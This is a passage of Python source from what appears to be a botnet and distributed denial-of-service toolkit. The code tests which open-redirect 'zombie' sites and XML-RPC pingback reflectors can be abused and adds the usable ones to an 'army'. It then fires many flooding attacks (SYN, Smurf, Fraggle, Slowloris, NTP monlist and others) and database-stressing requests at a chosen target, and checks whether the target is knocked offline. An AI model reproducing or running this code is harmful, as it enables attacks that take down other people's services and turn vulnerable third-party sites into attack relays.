if test_reply == "n" or test_reply == "N":
print("[AI] "+self.exit_msg+"\n")
return
else:
disc_zombies = self.discard_zombies(discarded)
print('='*52)
print("\n - DISCARDED:", disc_zombies)
new_botnet = int(len(botnet) - disc_zombies)
print("\n+ New Total Botnet:", str(new_botnet), "\n")
print('='*52 + '\n')
else:
print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
def send_extra_zombies(self):
if not self.options.disablealiens and not self.options.attackme:
if self.options.verbose:
print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
aliens = [self.extract_aliens()]
for a in aliens:
if a is None:
self.options.disablealiens = True
self.total_aliens = 0
else:
for s in a:
self.total_aliens = self.total_aliens + 1
al = threading.Thread(target=self.send_aliens, args=(aliens))
al.start()
else:
self.options.disablealiens = True
self.total_aliens = 0
if not self.options.disabledroids and not self.options.attackme:
if self.options.verbose:
print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
droids = [self.extract_droids()]
for d in droids:
if d is None:
self.options.disabledroids = True
self.total_droids = 0
else:
for s in d:
self.total_droids = self.total_droids + 1
dr = threading.Thread(target=self.send_droids, args=(droids))
dr.start()
else:
self.options.disabledroids = True
self.total_droids = 0
if not self.options.disablerpcs and not self.options.attackme:
if self.options.verbose:
print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
rpcs = [self.extract_rpcs()]
for r in rpcs:
if r is None:
self.options.disablerpcs = True
self.total_rpcs = 0
else:
for s in r:
self.total_rpcs = self.total_rpcs + 1
rp = threading.Thread(target=self.send_rpcs, args=(rpcs))
rp.start()
else:
self.options.disablerpcs = True
self.total_rpcs = 0
if not self.options.disableucavs and not self.options.attackme:
if self.options.verbose:
print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
ucavs = [self.extract_ucavs()]
for u in ucavs:
if u is None:
self.options.disableucavs = True
self.total_ucavs = 0
else:
for s in u:
self.total_ucavs = self.total_ucavs + 1
uc = threading.Thread(target=self.send_ucavs, args=(ucavs))
uc.start()
else:
self.options.disableucavs = True
self.total_ucavs = 0
def abandoning_zombies(self):
if self.options.expire:
try:
timing = int(self.options.expire)
except:
timing = self.expire_timing
else:
timing = self.expire_timing
if timing < 1:
timing = self.expire_timing
zombies_arrival_timing = timing
zombies_lock = 0
if self.options.verbose:
print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
while self.herd.no_more_zombies() == False:
zombies_lock = zombies_lock + 1
if zombies_lock > zombies_arrival_timing:
if self.options.verbose:
print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
break
else:
time.sleep(1)
def discard_zombies(self, discarded):
disc_zombies = 0
if self.options.testoffline:
zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
else:
zombies_list = [self.zombies_file]
if not self.options.disablealiens:
zombies_list.append(self.aliens_file)
if not self.options.disabledroids:
zombies_list.append(self.droids_file)
if not self.options.disablerpcs:
zombies_list.append(self.rpcs_file)
if not self.options.disableucavs:
zombies_list.append(self.ucavs_file)
for l in zombies_list:
f = open(l, "r+")
d = f.readlines()
f.close()
f = open(l, "w")
disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
f.close()
return disc_zombies
def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
m = []
for zombie in d:
if zombie not in discarded == True:
m.append(zombie)
else:
disc_zombies = disc_zombies + 1
if not m:
f.write("")
else:
for z in m:
f.write(z+os.linesep)
return disc_zombies
def parse_url_encoding(self, target):
if not target.startswith("http"):
target = "http://" + target
t = urlparse(target)
host = urllib.parse.quote(t.netloc.encode('utf-8'))
path = urllib.parse.quote(t.path.encode('utf-8'))
query = urllib.parse.quote(t.query.encode('utf-8'))
if query:
if path.endswith(""):
path.replace("", "/")
query = urllib.parse.quote(t.query.encode('utf-8'))
target = t.scheme+"://"+host + path + "?" + query
else:
target = t.scheme+"://"+host + path
return target
def testing_rpcs(self, rpcs):
options = self.options
if self.options.testall:
print('='*51)
print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
print('='*51)
num_active_rpcs = 0
num_failed_rpcs = 0
rpcs_ready = []
print("Trying:", len(rpcs))
print('-'*21)
for rpc in rpcs:
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
if rpc.startswith("http://") or rpc.startswith("https://"):
print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
rpc_host = rpc.replace("/xmlrpc.php", "")
rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
if rpc_vulnerable == True:
rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
try:
if options.proxy:
self.proxy_transport(options.proxy)
try:
req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
except:
if DEBUG == True:
traceback.print_exc()
if self.options.verbose:
print("[Info] [X-RPCs] Reply:", target_reply)
if "pingback.ping" in target_reply:
print("[Info] [AI] -> [VULNERABLE!]")
rpcs_ready.append(rpc_pingback_url)
num_active_rpcs = num_active_rpcs + 1
else:
print("[Info] [AI] -> [NOT vulnerable...]")
num_failed_rpcs = num_failed_rpcs + 1
except:
print("[Info] [AI] -> [NOT vulnerable...]")
num_failed_rpcs = num_failed_rpcs + 1
else:
print("[Info] [AI] -> [NOT vulnerable...]")
num_failed_rpcs = num_failed_rpcs + 1
print('-'*21)
print('='*18)
print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
print('='*18)
if self.options.testall:
return rpcs_ready, num_active_rpcs, num_failed_rpcs
else:
if num_active_rpcs == 0:
print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
return
else:
if not self.options.forceyes:
update_reply = input("[AI] Do you want to update your army? (Y/n)")
print('-'*25)
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
print("[AI] "+self.exit_msg+"\n")
return
else:
self.update_rpcs(rpcs_ready)
if not self.options.upload:
print("\n[Info] [AI] Botnet updated! -> ;-)\n")
def testing(self, zombies):
army = 0
print ("Are 'they' alive? :-) (HEAD Check):")
print('='*35)
num_active_zombies = 0
num_failed_zombies = 0
active_zombies = []
print("Trying:", len(zombies))
print('-'*21)
for zombie in zombies:
zombie = str(zombie)
if zombie.startswith("http://") or zombie.startswith("https://"):
self.head = True
try:
self.connect_zombies(zombie)
except:
pass
while self.herd.no_more_zombies() == False:
time.sleep(1)
for zombie in self.herd.done:
zombie = str(zombie)
t = urlparse(zombie)
if self.herd.get_result(zombie):
code_reply = self.herd.get_result(zombie)
self.head = False
if code_reply == "200" or code_reply == "302" or code_reply == "301":
name_zombie = t.netloc
if name_zombie == "":
name_zombie = zombie
print("Zombie:", name_zombie)
print("Status: OK ["+ code_reply + "]")
num_active_zombies = num_active_zombies + 1
active_zombies.append(zombie)
elif code_reply == "401":
print("Zombie:", t.netloc)
print("Status: Unauthorized ["+ code_reply + "]")
num_failed_zombies = num_failed_zombies + 1
elif code_reply == "403":
print("Zombie:", t.netloc)
print("Status: Error Forbidden ["+ code_reply + "]")
num_failed_zombies = num_failed_zombies + 1
elif code_reply == "404":
print("Zombie:", t.netloc)
print("Status: Not Found ["+ code_reply + "]")
num_failed_zombies = num_failed_zombies + 1
elif code_reply == "500":
print("Zombie:", t.netloc)
print("Status: Internal Server Error ["+ code_reply + "]")
num_failed_zombies = num_failed_zombies + 1
else:
print("Zombie:", t.netloc, "\nVector:", zombie)
print("Status: Not Allowed ["+ code_reply + "]")
num_failed_zombies = num_failed_zombies + 1
else:
if self.options.verbose:
print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
print("Zombie:", zombie)
print("Status: Malformed!")
num_failed_zombies = num_failed_zombies + 1
print('-'*10)
self.herd.reset()
print('='*18)
print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
print('='*18 + "\n")
print('='*22)
if num_active_zombies > 0:
print ("Checking for payloads:")
print('='*22)
print("Trying:", num_active_zombies)
print('-'*21)
zombies_ready = []
num_waiting_zombies = 0
if num_active_zombies == 0:
num_disconnected_zombies = num_failed_zombies
else:
num_disconnected_zombies = 0
for zombie in active_zombies:
zombie = str(zombie)
t = urlparse(zombie)
name_zombie = t.netloc
if name_zombie == "":
name_zombie = zombie
self.payload = True
try:
self.connect_zombies(zombie)
except:
pass
self.payload = False
while self.herd.no_more_zombies() == False:
time.sleep(1)
for zombie in self.herd.done:
zombie = str(zombie)
t = urlparse(zombie)
name_zombie = t.netloc
if name_zombie == "":
name_zombie = zombie
payload_zombie = zombie
payload_reply = ""
print("Vector:", payload_zombie)
self.payload = True
if self.herd.get_result(zombie):
payload_reply = self.herd.get_result(zombie)
self.payload = False
if "https://www.whitehouse.gov" in payload_reply:
num_waiting_zombies = num_waiting_zombies + 1
print("Status:", "Awaiting for orders... ;-)")
zombies_ready.append(zombie)
else:
num_disconnected_zombies = num_disconnected_zombies + 1
print("Status:", "Not ready...")
army = army + 1
print('-'*10)
self.herd.reset()
print('='*18)
print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
print('='*18 + "\n")
num_active_zombie = 0
for z in zombies_ready:
t = urlparse(z)
name_zombie = t.netloc
if name_zombie == "":
name_zombie = z
num_active_zombie = num_active_zombie + 1
if self.options.verbose:
print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
if self.options.testall:
return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
else:
print('-'*25 + "\n")
print('='*24)
print("Working [Zombies]:", num_active_zombie)
print('='*24)
if not self.options.upload:
if not self.options.forceyes:
update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
print('-'*25)
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
print("[AI] "+self.exit_msg+"\n")
return
else:
self.update_zombies(zombies_ready)
if not self.options.upload:
print("\n[Info] [AI] Botnet updated! -> ;-)\n")
self.update_scanner_stats(self.scanned_zombies)
else:
print('-'*25 + "\n")
print('='*24)
print("Working [Zombies]:", num_active_zombies)
print('='*24)
print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
def testing_all(self):
print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
print('='*35)
zombies = self.extract_zombies()
rpcs = self.extract_rpcs()
aliens = self.extract_aliens()
droids = self.extract_droids()
ucavs = self.extract_ucavs()
try:
botnet = zombies + rpcs + aliens + droids + ucavs
tested_zombies = zombies + rpcs
except:
return
zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
print("\n" + '='*52)
print("\n+ Total Botnet:", len(botnet))
print("\n" + '-'*25)
print("\n+ Total Tested:", len(tested_zombies))
print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
print('='*52 + '\n')
if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
if not self.options.forceyes:
update_reply = input("[AI] Do you want update your army? (Y/n)")
print('-'*25)
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
print("[AI] "+self.exit_msg+"\n")
return
else:
if num_disconnected_zombies > 0:
self.update_zombies(zombies_ready)
if num_failed_rpcs > 0:
self.update_rpcs(rpcs_ready)
if not self.options.upload:
print("\n[Info] [AI] Botnet updated! -> ;-)\n")
else:
print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
def attacking(self, zombies, target):
if self.options.forcessl:
if target.startswith("http://"):
target = target.replace("http://", "https://")
if target.startswith("http://") or target.startswith("https://"):
print("Attacking:", target)
print('='*55, "\n")
reply = self.injection(target, zombies)
else:
print("\n[Error] [AI] Target not valid (add protocol prefix http(s)://): "+target+" -> [Discarding!]\n")
def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
time.sleep(2)
if loic:
try:
self.options.loic = int(loic)
except:
self.options.loic = 100
if self.options.loic < 1:
self.options.loic = 100
self.instance = LOIC()
self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy))
self.t1.daemon = True
self.t1.start()
self.update_loic_stats()
if loris:
try:
self.options.loris = int(loris)
except:
self.options.loris = 101
if self.options.loris < 1:
self.options.loris = 101
self.instance = LORIS()
self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris))
self.t2.daemon = True
self.t2.start()
self.update_loris_stats()
if ufosyn:
try:
self.options.ufosyn = int(ufosyn)
except:
self.options.ufosyn = 100
if self.options.ufosyn < 1:
self.options.ufosyn = 100
self.instance = UFOSYN()
self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn))
self.t3.daemon = True
self.t3.start()
self.update_ufosyn_stats()
if spray:
try:
self.options.spray = int(spray)
except:
self.options.spray = 100
if self.options.spray < 1:
self.options.spray = 100
self.instance = SPRAY()
self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray))
self.t4.daemon = True
self.t4.start()
self.update_spray_stats()
if smurf:
try:
self.options.smurf = int(smurf)
except:
self.options.smurf = 101
if self.options.smurf < 1:
self.options.smurf = 101
self.instance = SMURF()
self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf))
self.t5.daemon = True
self.t5.start()
self.update_smurf_stats()
if xmas:
try:
self.options.xmas = int(xmas)
except:
self.options.xmas = 101
if self.options.xmas < 1:
self.options.xmas = 101
self.instance = XMAS()
self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas))
self.t6.daemon = True
self.t6.start()
self.update_xmas_stats()
if nuke:
if sys.platform == "linux" or sys.platform == "linux2":
try:
self.options.nuke = int(nuke)
except:
self.options.nuke = 10000
if self.options.nuke < 1:
self.options.nuke = 10000
self.instance = NUKE()
self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke))
self.t7.daemon = True
self.t7.start()
self.update_nuke_stats()
else:
print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
if tachyon:
try:
self.options.tachyon = int(tachyon)
except:
self.options.tachyon = 1000
if self.options.tachyon < 1:
self.options.tachyon = 1000
self.instance = TACHYON()
self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon))
self.t8.daemon = True
self.t8.start()
self.update_tachyon_stats()
if monlist:
try:
self.options.monlist = int(monlist)
except:
self.options.monlist = 1000
if self.options.monlist < 1:
self.options.monlist = 1000
self.instance = MONLIST()
self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist))
self.t9.daemon = True
self.t9.start()
self.update_monlist_stats()
if ufoack:
try:
self.options.ufoack = int(ufoack)
except:
self.options.ufoack = 101
if self.options.ufoack < 1:
self.options.ufoack = 101
self.instance = UFOACK()
self.t10 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoack))
self.t10.daemon = True
self.t10.start()
self.update_ufoack_stats()
if uforst:
try:
self.options.uforst = int(uforst)
except:
self.options.uforst = 101
if self.options.uforst < 1:
self.options.uforst = 101
self.instance = UFORST()
self.t11 = threading.Thread(target=self.instance.attacking, args=(target, self.options.uforst))
self.t11.daemon = True
self.t11.start()
self.update_uforst_stats()
if droper:
try:
self.options.droper = int(droper)
except:
self.options.droper = 101
if self.options.droper < 1:
self.options.droper = 101
self.instance = DROPER()
self.t12 = threading.Thread(target=self.instance.attacking, args=(target, self.options.droper))
self.t12.daemon = True
self.t12.start()
self.update_droper_stats()
if overlap:
try:
self.options.overlap = int(overlap)
except:
self.options.overlap = 101
if self.options.overlap < 1:
self.options.overlap = 101
self.instance = OVERLAP()
self.t13 = threading.Thread(target=self.instance.attacking, args=(target, self.options.overlap))
self.t13.daemon = True
self.t13.start()
self.update_overlap_stats()
if pinger:
try:
self.options.pinger = int(pinger)
except:
self.options.pinger = 101
if self.options.pinger < 1:
self.options.pinger = 101
self.instance = PINGER()
self.t14 = threading.Thread(target=self.instance.attacking, args=(target, self.options.pinger))
self.t14.daemon = True
self.t14.start()
self.update_pinger_stats()
if ufoudp:
try:
self.options.ufoudp = int(ufoudp)
except:
self.options.ufoudp = 101
if self.options.ufoudp < 1:
self.options.ufoudp = 101
self.instance = UFOUDP()
self.t15 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoudp))
self.t15.daemon = True
self.t15.start()
self.update_ufoudp_stats()
if fraggle:
try:
self.options.fraggle = int(fraggle)
except:
self.options.fraggle = 101
if self.options.fraggle < 1:
self.options.fraggle = 101
self.instance = FRAGGLE()
self.t16 = threading.Thread(target=self.instance.attacking, args=(target, self.options.fraggle))
self.t16.daemon = True
self.t16.start()
self.update_fraggle_stats()
if sniper:
try:
self.options.sniper = int(sniper)
except:
self.options.sniper = 101
if self.options.sniper < 1:
self.options.sniper = 101
self.instance = SNIPER()
self.t17 = threading.Thread(target=self.instance.attacking, args=(target, self.options.sniper))
self.t17.daemon = True
self.t17.start()
self.update_sniper_stats()
def stressing(self, target, zombie):
options = self.options
db_input = self.options.dbstress
def random_key(length):
key = ''
for i in range(length):
key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
return key
if self.db_flash > 9:
length = 1024
self.db_flash = 0
else:
length = 1
key = str(random_key(length))
if self.db_flash > 9:
print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
else:
print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
if not target.endswith('/'):
target = target + "/"
url = zombie + target + db_input + key
req = urllib.request.Request(url, None, headers)
if options.proxy:
self.proxy_transport(options.proxy)
try:
req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
except urllib.error.HTTPError as e:
if e.code == 401:
print('[Info] [AI] [DBStress] Not authorized')
elif e.code == 404:
print('[Info] [AI] [DBStress] Not found')
elif e.code == 503:
print('[Info] [AI] [DBStress] Service unavailable')
else:
print('[Info] [AI] [DBStress] Unknown error')
else:
print('[Info] [AI] [DBStress] Database query: HIT!')
def attackme(self, zombies):
print("[AI] Starting local port to listening at: " + self.port + "\n")
print('='*21 + "\n")
self.doll=Doll(self)
self.doll.start()
while not self.doll._armed:
time.sleep(1)
target = ""
self.injection(target, zombies)
self.doll.shutdown()
self.doll.join()
self.herd.list_fails()
def check_target_status(self):
if self.num_is_down > 0 and self.num_is_up == 0:
print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
if not self.options.forceyes:
update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
print("\n" + '-'*25)
else:
update_reply = "N"
if update_reply == "y" or update_reply == "Y":
try:
self.head = True
reply = self.connect_zombie(target)
self.head = False
if reply:
print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
else:
print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
self.update_targets_crashed()
self.update_mothership_stats()
except Exception:
print("\n[Error] [AI] Something wrong with your connection!...\n")
if DEBUG == True:
traceback.print_exc()
return
else:
print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
self.update_targets_crashed()
self.update_mothership_stats()
return
def starting_target_check(self, target, head_check):
options = self.options
head_check_here = False
head_check_external = False
if options.disablehead:
print("[Info] [AI] Skipping external check...\n")
head_check_here = True
head_check_external = True
else:
if head_check:
if not options.attackme:
print("[AI] Launching: 'Is target up?' check...\n")
try:
self.head = True
reply = self.connect_zombie(target)
self.head = False
if reply:
print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
head_check_here = True
else:
print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
head_check_here = False
except Exception:
print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
if DEBUG == True:
traceback.print_exc()
head_check_here = False
else:
print("[AI] Launching: 'Is NAT ready?' check...\n")
try:
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
result = sock.connect_ex(('0.0.0.0',8080))
if result == 0 or result == 110:
print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
head_check_here = True
else:
print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
head_check_here = False
except Exception:
print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
if DEBUG == True:
traceback.print_exc()
head_check_here = False
else:
head_check_here = True
self.external = True
if not options.attackme:
try:
target = self.parse_url_encoding(target)
if target.startswith("http://"):
target = target.replace("http://", "")
else:
target = target.replace("https://", "")
try:
url = self.external_check_service1 + target
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
if options.proxy:
self.proxy_transport(options.proxy)
req = urllib.request.Request(url, None, headers)
external_reply = urllib.request.urlopen(req, context=self.ctx).read()
if b"is UP and reachable" in external_reply:
t = urlparse(self.external_check_service1)
name_external1 = t.netloc
print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
head_check_external = True
except:
url = self.external_check_service2 + target
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
if options.proxy:
self.proxy_transport(options.proxy)
req = urllib.request.Request(url, None, headers)
try:
req_reply = urllib.request.urlopen(req, context=self.ctx).read()
if b"Currently Up" in req_reply:
t = urlparse(self.external_check_service2)
name_external2 = t.netloc
print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
head_check_external = True
else:
print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
head_check_external = False
except urllib.error.HTTPError as e:
if e:
print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
head_check_external = False
except Exception:
print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
if DEBUG == True:
traceback.print_exc()
head_check_external = False
else:
try:
try:
req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
reply = urllib.request.urlopen(req)
except Exception:
reply = None
if reply:
print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
head_check_external = True
else:
print("\n[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
head_check_external = False
head_check_here = False
except Exception:
print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
head_check_here = False
if DEBUG == True:
traceback.print_exc()
head_check_external = False
self.external = False
return head_check_here, head_check_external
def injection(self, target, zombies, head_check = True):
options = self.options
head_check_here, head_check_external = self.starting_target_check(target, head_check)
if head_check_here == True or head_check_external == True:
if not self.options.forceyes:
if not options.attackme:
if not options.disablehead:
start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
else:
start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
else:
if not options.disablehead:
start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
else:
start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
else:
start_reply = "Y"
if start_reply == "y" or start_reply == "Y":
if options.attackme:
total_rounds = 2
else:
total_rounds = options.rounds
try:
total_rounds = int(total_rounds)
except:
total_rounds = 1
if not total_rounds:
total_rounds = 1
if total_rounds <= 0:
total_rounds = 1
self.herd.cleanup()
num_round = 1
num_hits = 0
num_zombie = 1
if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.fraggle or options.xmas or options.ufoack or options.uforst or options.droper or options.overlap or options.pinger or options.ufoudp or options.nuke or options.tachyon or options.monlist or options.sniper:
ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.fraggle, self.options.xmas, self.options.ufoack, self.options.uforst, self.options.droper, self.options.overlap, self.options.pinger, self.options.ufoudp, self.options.nuke, self.options.tachyon, self.options.monlist, self.options.sniper))
ex.daemon = True
ex.start()
zombies = self.extract_zombies()
if zombies:
self.total_zombie = len(zombies)
else:
self.total_zombie = 0
return
self.herd=Herd(self)
if not self.options.disablepurge:
self.discardzombies = []
self.discard_aliens = []
self.discard_droids = []
self.discard_rpcs = []
self.discard_ucavs = []
total_disc_zombies = 0
self.num_discard_zombies = 0
self.num_discard_aliens = 0
self.num_discard_droids = 0
self.num_discard_rpcs = 0
self.num_discard_ucavs = 0
self.empty_zombies = False
for i in range(0, int(total_rounds)):
print ("\x1b[2J\x1b[H")
print('='*42)
print('Starting round:', num_round, ' of ', total_rounds)
print('='*42)
self.herd.reset()
self.extra_zombies_lock = True
self.total_zombies_failed_connection = 0
self.send_zombies(zombies)
if not self.options.attackme:
if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
if self.options.verbose:
print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
self.send_extra_zombies()
while self.extra_zombies_lock == True:
time.sleep(1)
if self.options.verbose:
print("\n" + '='*42)
print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
else:
zombies_lock = 0
if self.options.expire:
try:
timing = int(self.options.expire)
except:
timing = self.expire_timing
else:
timing = self.expire_timing
if timing < 1:
timing = self.expire_timing
zombies_arrival_timing = timing
while self.herd.no_more_zombies() == False:
zombies_lock = zombies_lock + 1
if zombies_lock > zombies_arrival_timing:
if self.options.verbose:
print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
break
else:
time.sleep(1)
if self.options.verbose:
print("\n" + '='*42)
print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
if not self.options.attackme and not self.options.disableucavs:
self.check_target_status()
if not self.options.attackme and not self.options.disablepurge:
self.abandoning_zombies()
for zombie in self.herd.done:
if self.herd.connection_failed(zombie) == False:
num_hits = num_hits + 1
num_zombie = num_zombie + 1
if num_zombie > self.total_zombie:
num_zombie = 1
if not self.options.attackme and not self.options.disablescanner:
check_is_loading = self.check_is_loading(target)
self.herd.dump_html()
if not self.options.disablepurge:
if self.empty_zombies == True:
break
num_round = num_round + 1
if self.options.verbose:
print("\n" + '='*42)
print("\n[Info] [AI] This battle is over! -> [Reporting!]")
if self.options.loic:
self.t1.join()
if self.options.loris:
self.t2.join()
if self.options.ufosyn:
self.t3.join()
if self.options.spray:
self.t4.join()
if self.options.smurf:
self.t5.join()
if self.options.xmas:
self.t6.join()
if self.options.nuke:
self.t7.join()
if self.options.tachyon:
self.t8.join()
if self.options.monlist:
self.t9.join()
if self.options.ufoack:
self.t10.join()
if self.options.uforst:
self.t11.join()
if self.options.droper:
self.t12.join()
if self.options.overlap:
self.t13.join()
if self.options.pinger:
self.t14.join()
if self.options.ufoudp:
self.t15.join()
if self.options.fraggle:
self.t16.join()
if self.options.sniper:
self.t17.join()
if self.options.target_list:
self.num_target_list = self.num_target_list - 1
print ("\x1b[2J\x1b[H")
if not self.options.attackme:
self.herd.dump()
else:
print('='*21)
print("\n[Info] [AI] Mothership transmission...\n")
num_real_zombies = len(self.doll.real_zombies)
print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
for z in self.doll.real_zombies:
for x in z:
print(" - " + str(x))
self.herd.dump_html(True)
if not self.options.attackme:
if not self.options.disablepurge:
print("\n[Info] [AI] Report completed! -> [Purging!]\n")
else:
if not options.target_list:
print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
else:
print("\n[Info] [AI] Report completed! -> [OK!]\n")
self.update_mothership_stats()
if not self.options.disablepurge:
print('='*21+ "\n")
total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
if total_disc_zombies > 0 and total_disc_zombies < 2:
print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
elif total_disc_zombies > 1:
print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
if self.num_discard_zombies > 0:
print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
if self.num_discard_aliens > 0:
print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
if self.num_discard_droids > 0:
print(" + Droids : ["+ str(self.num_discard_droids)+"]")
if self.num_discard_rpcs > 0:
print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
if self.num_discard_ucavs > 0:
print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
if total_disc_zombies > 0:
if not self.options.forceyes:
if total_disc_zombies > 0 and total_disc_zombies < 2:
backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
elif total_disc_zombies > 1:
backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
else:
backup_reply = "Y"
if backup_reply == "y" or backup_reply == "Y":
print("\n[Info] [AI] Purging failed units from files...\n")
discarded = []
if self.num_discard_zombies > 0:
for z in self.discardzombies:
discarded.append(z)
print(" + [Info] [Zombies] "+z+" -> [Purged!]")
if self.num_discard_aliens > 0:
for a in self.discard_aliens:
discarded.append(a)
